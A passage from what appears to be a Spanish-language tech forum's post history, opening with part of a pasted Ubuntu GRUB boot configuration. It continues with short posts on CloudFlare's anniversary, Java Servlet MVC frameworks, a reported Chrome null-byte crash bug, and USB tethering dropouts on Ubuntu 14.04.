     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-41-generic ...'
    linux /boot/vmlinuz-3.16.0-41-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-41-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-41-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-41-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-41-generic ...'
    linux /boot/vmlinuz-3.16.0-41-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-41-generic
    }
    menuentry 'Ubuntu, con Linux 3.16.0-38-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-38-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-38-generic ...'
    linux /boot/vmlinuz-3.16.0-38-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-38-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-38-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-38-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-38-generic ...'
    linux /boot/vmlinuz-3.16.0-38-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-38-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-38-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-38-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-38-generic ...'
    linux /boot/vmlinuz-3.16.0-38-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-38-generic
    }
    menuentry 'Ubuntu, con Linux 3.16.0-33-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-33-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-33-generic ...'
    linux /boot/vmlinuz-3.16.0-33-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-33-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-33-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-33-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-33-generic ...'
    linux /boot/vmlinuz-3.16.0-33-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-33-generic
    }
    menuentry 'Ubuntu, with Linux 3.16.0-33-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.16.0-33-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.16.0-33-generic ...'
    linux /boot/vmlinuz-3.16.0-33-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.16.0-33-generic
    }
    menuentry 'Ubuntu, con Linux 3.13.0-53-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-53-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-53-generic ...'
    linux /boot/vmlinuz-3.13.0-53-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-53-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-53-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-53-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-53-generic ...'
    linux /boot/vmlinuz-3.13.0-53-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-53-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-53-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-53-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-53-generic ...'
    linux /boot/vmlinuz-3.13.0-53-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-53-generic
    }
    menuentry 'Ubuntu, con Linux 3.13.0-48-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-48-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-48-generic ...'
    linux /boot/vmlinuz-3.13.0-48-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-48-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-48-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-48-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-48-generic ...'
    linux /boot/vmlinuz-3.13.0-48-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-48-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-48-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-48-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-48-generic ...'
    linux /boot/vmlinuz-3.13.0-48-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-48-generic
    }
    menuentry 'Ubuntu, con Linux 3.13.0-45-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-45-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-45-generic ...'
    linux /boot/vmlinuz-3.13.0-45-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-45-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-45-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-45-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-45-generic ...'
    linux /boot/vmlinuz-3.13.0-45-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-45-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-45-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-45-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-45-generic ...'
    linux /boot/vmlinuz-3.13.0-45-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-45-generic
    }
    menuentry 'Ubuntu, con Linux 3.13.0-43-lowlatency' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-43-lowlatency-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-43-lowlatency ...'
    linux /boot/vmlinuz-3.13.0-43-lowlatency root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-43-lowlatency
    }
    menuentry 'Ubuntu, with Linux 3.13.0-43-lowlatency (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-43-lowlatency-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-43-lowlatency ...'
    linux /boot/vmlinuz-3.13.0-43-lowlatency root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-43-lowlatency
    }
    menuentry 'Ubuntu, with Linux 3.13.0-43-lowlatency (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-43-lowlatency-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-43-lowlatency ...'
    linux /boot/vmlinuz-3.13.0-43-lowlatency root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-43-lowlatency
    }
    menuentry 'Ubuntu, con Linux 3.13.0-43-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-43-generic-advanced-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-43-generic ...'
    linux /boot/vmlinuz-3.13.0-43-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-43-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-43-generic (upstart)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-43-generic-init-upstart-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    gfxmode $linux_gfx_mode
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-43-generic ...'
    linux /boot/vmlinuz-3.13.0-43-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro  splash intel_pstate=disable quiet $vt_handoff init=/sbin/upstart
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-43-generic
    }
    menuentry 'Ubuntu, with Linux 3.13.0-43-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.13.0-43-generic-recovery-13007919-6a08-40cb-86bf-5555696ebe4e' {
    recordfail
    load_video
    insmod gzio
    if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    echo 'Cargando Linux 3.13.0-43-generic ...'
    linux /boot/vmlinuz-3.13.0-43-generic root=UUID=13007919-6a08-40cb-86bf-5555696ebe4e ro recovery nomodeset
    echo 'Cargando el disco RAM inicial...'
    initrd /boot/initrd.img-3.13.0-43-generic
    }
    }

    ### END /etc/grub.d/10_linux ###

    ### BEGIN /etc/grub.d/20_linux_xen ###

    ### END /etc/grub.d/20_linux_xen ###

    ### BEGIN /etc/grub.d/20_memtest86+ ###
    menuentry 'Memory test (memtest86+)' {
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    knetbsd /boot/memtest86+.elf
    }
    menuentry 'Memory test (memtest86+, serial console 115200)' {
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    if [ x$feature_platform_search_hint = xy ]; then
     search --no-floppy --fs-uuid --set=root --hint-BIOS=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  13007919-6a08-40cb-86bf-5555696ebe4e
    else
     search --no-floppy --fs-uuid --set=root 13007919-6a08-40cb-86bf-5555696ebe4e
    fi
    linux16 /boot/memtest86+.bin console=ttyS0,115200n8
    }
    ### END /etc/grub.d/20_memtest86+ ###

    ### BEGIN /etc/grub.d/30_os-prober ###
    ### END /etc/grub.d/30_os-prober ###

    ### BEGIN /etc/grub.d/30_uefi-firmware ###
    ### END /etc/grub.d/30_uefi-firmware ###

    ### BEGIN /etc/grub.d/40_custom ###
    # This file provides an easy way to add custom menu entries.  Simply type the
    # menu entries you want to add after this comment.  Be careful not to change
    # the 'exec tail' line above.
    ### END /etc/grub.d/40_custom ###

    ### BEGIN /etc/grub.d/41_custom ###
    if [ -f  ${config_directory}/custom.cfg ]; then
     source ${config_directory}/custom.cfg
    elif [ -z "${config_directory}" -a -f  $prefix/custom.cfg ]; then
     source $prefix/custom.cfg;
    fi
    ### END /etc/grub.d/41_custom ###
    #79
    Hola, desde ayer que vi un comercial por televisión y me he reído mucho con el porque identifica muy bien a unos familiares que tengo xD

    https://www.youtube.com/watch?v=DSFtWNIyQmQ
    #80
    Esta semana, CloudFlare cumplió cinco años. Eso es cinco años de hacer sitios web más rápido, más seguro y más inteligente. Gracias por ser parte de la construcción de una mejor web.

    CINCO AÑOS EN LA RED CloudFlare

    99,4 billones
    PETICIONES ATENDIDAS

    7 billones
    Ataques cibernéticos BLOQUEADOS


    CloudFlare conectado tráfico de más de 190 países con 62 ubicaciones en todo el mundo



    94,116 años
    TIEMPO DE CARGA página guardada por CloudFlare



    Fuentes:
    https://www.cloudflare.com/five-years
    https://www.cloudflare.com/internet-summit
    #81
    Hola, estoy viendo la posibilidad de crear proyectos en Java Servlet y me ha nacido la duda de como crear un proyecto MVC ya que solo se crear un servlet plano get post y nada mas.

    Me gustaría saber que debo aprender para desarrollar en base a capas (datos, negocio, presentación) o MVC, también me gustaría averiguar que se utiliza en java que sea similar a la persistencia en .net para crear proyectos con manejo de alto volumne de datos, también quiero comenzar a aprender a integrar mis aplicaciones con oracle db, pero por ahora me encantaría crear un helo world en capas y con bootstrap.

    ¿Alguen me ayuda con la documentación por favor? ya que he encontrado algunos frameworks como Struts, Spring y Maverick pero no se cual es el mas usado o estandarizado, me gustaría utilizar el que sea mas usado en empresas ya que quiero poder crear proyectos en empresas en java. Estoy usando Eclipse Mars for Java EE.

    Tengo algunos conocimientos en bootstrap 3, MVC5 para c# con scaffolding y entity framework, PHP codeigniter y estandares html, se manejar apache2 y es primera ves que instalo tomcat xD pero no veo mucha diferencia con usar apache2. ¿Alguien me da una mano con esto por favor?

    Muchas gracias.
    #82
    Pues se trata de una denegación de servicio en Google chrome debido a la inserción de un null byte escapado en la url, así de simple xD

    El bug aun no ha sido reparado.

    Fuente:
    http://haktuts.blogspot.ca/2015/09/crash-google-chrome-using-simple-url-string.html

    #83
    GNU/Linux / Problemas con el USB en Ubuntu 14.04
    19 Septiembre 2015, 17:01 PM
    Hola, actualmente estoy utilizando mi equipo movil conectado a traves de un cable usb para dar internet al pc ya que mi pc por el momento no tiene tarjeta de red inalambrica asi que tomo señal con el movil.

    Hasta ahi no hay problema, mi problema principal es una lluvia de conexiones y desconexiones del cable mientras está conextado fisicamente, o sea, mientras está conectado a veces se desconecta y pierdo el internet y debo mover el cable varias veces para que lo vuelva a tomar.

    Algunos pensarán que es problema del cable pero creo que no es ya que he utilizado varios cables, ahora, talves me digan que es el conector, lo raro es que mientras en el pc aparece desconectado y en el movil dice que no hay ningún dispositivo conectado el ícono de la batería aparece con el rayo hacia abajo, o sea, esto indica que al movil le está llegando carga electrica y la batería se encuentra cargando, por lo cual me hace pensar: ¿si está conectado, porqué ubuntu dice que no está conectado y el movil tambien me dice que no hay dispositivo usb conectado?.

    Esto sucede bastante a menudo asi que decidí cortar por lo sano y tomé un disco duro vacio y le instalé windows 7 y lo probé todo un día y por mas que movia el cable jamás tuve una interrupción en la conexión, es mas, tengo un iphone prestado al cual conecté también al pc mientras usaba windows y ningún problema, pero nuevamente al volver a ubuntu aparecen estas desconexiones y de hecho desde el iphone también se veian estas desconexiones repentinas pero movia el cable y todo volvia a la normalidad.

